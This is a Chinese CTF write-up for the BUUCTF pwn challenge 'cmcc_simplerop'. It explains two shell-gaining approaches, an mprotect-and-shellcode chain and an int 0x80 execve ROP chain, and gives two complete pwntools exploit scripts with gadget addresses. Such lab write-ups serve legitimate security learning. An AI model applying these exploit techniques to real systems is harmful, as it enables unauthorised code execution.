首页
论坛
课程
招聘
[原创][BUUCTF]Cmcc_simplerop
2022-1-24 01:02 24449

[原创][BUUCTF]Cmcc_simplerop

2022-1-24 01:02
24449

题目复现

图片描述
函数很多,没有打印函数的plt,无法ret2libc
图片描述
主函数可溢出
图片描述
存在mprotect,可以改变bss权限后,在bss写入shell代码
图片描述
存在int 0x80,可以调整寄存器利用中断执行sh
图片描述
因此本题有两种思路


解题思路

  • 方法一:
    先用mprotect改写bss段权限,用read函数在bss段写入shell代码
  • 方法二:
    由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数

调试过程

  1. 方法一
    先找bss段位置
    图片描述
    mprotect参数如下,实际操作时len取0x1000,addr要略比实际靠前,取0x80ef00,prot取二进制111,即为7
    图片描述
    执行完函数需要pop3执行后面的函数,都可以用
    图片描述
    read函数参数为0,bss地址,0x100

  2. 方法二
    int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省
    图片描述
    图片描述
    此题栈比较奇怪,与ida不符,需要自己调试,下面是调试技术的展示
    图片描述
    图片描述
    图片描述
    gdb断点应该更直观……偷懒没尝试了
    得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同


Payload

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
 
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
#pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
#int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
mprotect_addr = 0x806d870
#binsh_addr = 0x80eb584
 
payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)
payload += p32(binsh_addr)
 
 
io.sendlineafter('it',payload)
sleep(0.2)
 
payload2 = asm(shellcraft.sh())
io.sendline(payload2)
 
io.interactive()

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
 
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
pop_ebx = 0x80481c9
int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
#binsh_addr = 0x80eb584
 
payload = b'a' * 0x20  + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)
#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
 
io.interactive()

总结

  1. 本题为除ret2libc外的两种getshell方式的展示:int80与mprotect改写权限
  2. 学习了非常规栈位移的调试:在elf文件比较奇怪时,要用gdb进行位移调试
  3. 没有解决的问题:法二中,网上payload设置binsh的地址,不能在本地调试到结果(远程却可以),报错“set_thread_area failed”,但binsh地址改为bss地址本地成功
  4. 没有解决的问题:法二中,ecx,edx应该是可以缺省的,但我只pop_ebx就会报错“set_thread_area failed”

希望有师傅可以解决我愚昧的问题


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

最后于 2022-1-24 01:04 被N1co5in3编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回